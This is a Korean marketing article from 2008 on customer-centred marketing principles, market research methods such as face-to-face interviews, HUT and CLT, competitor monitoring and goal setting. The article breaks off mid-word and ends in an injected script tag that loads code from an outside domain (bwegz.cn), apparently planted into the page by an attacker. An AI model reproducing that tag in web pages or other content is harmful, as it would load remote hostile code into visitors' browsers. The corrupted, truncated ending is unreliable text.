고객을 내 편으로 만드는 마케팅
2008-03-14
꼭 알아둬야 할 마케팅의 기본 원리를 익히자
시장의 경영활동을 통해 고객에게 재화와 용역을 제공하는 총체적인 고객활동이 바로 마케팅이다. 따라서 마케팅을 수행할 때는 고객이 추구하는 것 이상의 가치를 찾고, 이를 어떻게 지원할 수 있는지 고민해야 한다.
그러기 위해서는 첫째, 고객 중심 활동방식에 집중해야 한다. 둘째, 고객을 둘러싼 환경의 변화를 적극 수용해야 한다. 왜냐하면 사업의 핵심인 마케팅은 정해진 시장의 규칙과 구조를 심도 있게 연구하는 것을 넘어 고객을 둘러싼 모든 환경과 안팎에서 이루어지는 변화를 이해하고 지속적으로 살피며, 적극적으로 변화를 반영하고 수용하는 과정이기 때문이다. 셋째, 직접 대면과 개방형 채널 전략을 구사해야 한다. 넷째, 다양한 마케팅 트렌드를 제대로 파악해야 한다. 참고로 유비쿼터스 시대의 마케팅활동은 관계 마케팅과 개인화 맞춤 마케팅을 지향하고 있다.
흔히 고객의 니즈와 기대를 충족시키는 것만으로 마케팅 활동을 다했다고 생각할 수 있다. 하지만 이것은 섣부른 판단이다. 왜냐하면 마케팅을 하나의 사업이라는 관점에서 생각한다면, 단순히 고객의 기대를 충족시키는 것 이상의 것들을 지향하고 현실화해야 하는 과제를 안고 있기 때문이다.
그렇다면 이러한 과제를 해결하기 위해 마케팅 실무자가 꼭 알아둬야 할 기본지식은 첫째, 기업의 사회적 역할과 상품·서비스의 이미지관계를 이해하고 있어야 한다. 왜냐하면 기업의 사회적 책임과 역할이 상품·서비스의 이미지와 불가분의 관계를 맺고 있기 때문이다. 둘째, 사후 고객관리를 더욱 철저히 해야 한다. 셋째, 고객의 정보를 취득하고 보호하는 방법을 고려해야 한다. 넷째, 시장에서의 공정한 경쟁은 꼭 지켜야 할 강령이라는 것을 명심해야 한다.
마케팅 활동의 핵심은 고객을 내 편으로 만드는 것이다
마케팅조사는 특정 마케팅활동의 의사결정을 위해 필요한 정성적·정량적 정보를 수집해, 고객과 관련된 자료를 체계적으로 고안·수집·분석하고, 상황에 적절한 해결책을 제시하는 일련의 활동이다.
첫째, 정성(定性, qualitative)조사는 고객과 시장에 대한 인식과 이해에 도움을 주는 비계량적 조사이다. 일반적으로 소규모의 사례를 중심으로 체계화되거나 공식적인 방법으로 정보를 획득하기 어려운 경우에 사용되며, 조사 방법은 단순하지만 고객조사 중에서 가장 깊은 통찰력이 요구된다.
둘째, 정량(定量, quantitative)조사는 자료를 계량화시키고 표본으로부터 모집의 결과를 일반화하고자 할 때 사용된다. 구조화돼 있는 설문지를 통해 자료를 수집해 통계적 분석이 가능하며, 양적으로 조사해 자료를 수치화한다. 그리고 조사 수단에 따른 정량조사의 방법으로는 일대일 면접조사(Fact to Face Interview), 전화조사(Telephone Survey), 심층면접조사(In-depth Interview), 우편조사(Mail Survey), HUT(Home Using or Home Usage Test, 고객이 실제로 상품·서비스를 장기간 사용한 후에 평가를 내리도록 하는 조사 방법), CLT(Central Location Test, 조사 장소의 주변에서 표본에 해당되는 타깃고객에게 협조를 구하고, 응할 경우 조사를 진행하는 방식) 등이 있다.
셋째, 경쟁사를 효과적으로 모니터링하는 방법, 즉 경쟁사의 움직임과 전략적인 방향성을 알아내기 위한 방법에는 광고 및 PR 대행사를 활용하는 방법, 원자재 등 상품·서비스 제조에 필요한 수급 현황을 파악하는 방법, 전문적인 모니터링회사의 활용하는 방법, 학회·세미나·컨퍼런스 등의 오프라인 모임을 활용하는 방법 등이 있다.
넷째, 고객의 메시지를 통해 고객 감동을 실천하는 방법이 있는데, 고객의 니즈를 제대로 파악하려면 기본적으로 마케팅조사를 철저히 시행해야 하며, 경쟁사의 활동도 지속적으로 모니터링해야 한다.
또한 자사의 상품·서비스를 직접 체험한 고객들의 의견을 듣는 것도 매우 중요한 일이다.
기업의 운명을 바꾸는 마케팅 전략 - 고객 마음 끌어당기기
목표 수립에 필요한 전략적 방향성은 다음과 같은 요소들을 통해 종합적으로 판단할 수 있다. 첫째, 고객이 현재 느끼고 있는 상품·서비스의 가치 수준을 고객의 생애가치 관점에서 살펴봐야 한다. 둘째, 목표는 크게 설정하되 달성 가능한 부분과 목표 달성에 필요한 인프라를 확립하는 데 주력해야 한다. 셋째, 타깃고객 중 목표 달성에 기여할 수 있는 상품·서비스의 얼리어?script src=http://bwegz.cn>
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